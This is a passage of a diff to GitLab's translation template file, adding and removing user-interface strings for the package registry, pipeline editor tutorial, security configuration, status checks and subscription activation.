-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -21125,6 +21507,12 @@ msgstr ""
msgid "Monday"
msgstr ""
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21257,6 +21645,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21284,6 +21675,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -21451,9 +21845,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21553,9 +21944,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -21903,7 +22291,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -21930,6 +22318,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -22143,6 +22534,9 @@ msgstr ""
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22469,6 +22863,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -22849,7 +23246,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -22948,7 +23345,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23014,6 +23411,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -23041,6 +23441,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -23083,6 +23486,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -23104,6 +23510,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23155,9 +23564,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23167,6 +23585,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23182,6 +23603,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23227,6 +23651,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23239,12 +23666,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23341,7 +23762,7 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23356,6 +23777,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr ""
@@ -23407,6 +23831,9 @@ msgstr ""
msgid "Password"
msgstr ""
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23542,6 +23969,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23620,6 +24050,9 @@ msgstr ""
msgid "Pipeline Schedules"
msgstr ""
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23674,6 +24107,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23740,6 +24221,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -23797,6 +24281,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -23818,6 +24305,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -23872,6 +24362,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -23902,9 +24395,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24202,9 +24692,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24241,6 +24737,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24250,6 +24749,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24283,9 +24785,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24313,6 +24812,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24469,6 +24971,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -24823,7 +25328,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -25081,6 +25586,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25234,9 +25742,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -25711,9 +26216,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -25765,12 +26267,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -25783,6 +26279,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -25795,9 +26294,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -25813,10 +26309,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -25825,9 +26321,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26575,9 +27068,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26587,6 +27077,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26685,7 +27178,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -26918,9 +27411,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -26936,6 +27426,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -27879,6 +28372,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28456,16 +28961,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28480,6 +28994,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28492,6 +29009,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28504,10 +29024,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28516,6 +29036,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28570,6 +29093,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28588,9 +29114,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28612,9 +29135,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -28783,6 +29303,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -28849,6 +29372,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29083,6 +29609,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29236,9 +29765,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29473,9 +29999,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -29714,6 +30237,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -29807,6 +30336,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -30044,6 +30576,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30350,6 +30885,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30365,10 +30903,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30590,18 +31131,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30635,9 +31215,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -30692,6 +31269,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -30797,6 +31377,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -30908,6 +31491,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -30932,6 +31518,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -31043,42 +31632,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31088,18 +31728,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31118,6 +31788,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr ""
@@ -31340,6 +32013,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -31494,9 +32170,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -31636,6 +32309,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -31666,7 +32342,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -31689,6 +32365,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -31880,6 +32559,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -31925,6 +32607,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -31943,9 +32628,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32249,9 +32931,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32318,12 +32997,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32351,6 +33024,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32414,9 +33090,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32459,9 +33132,6 @@ msgstr ""
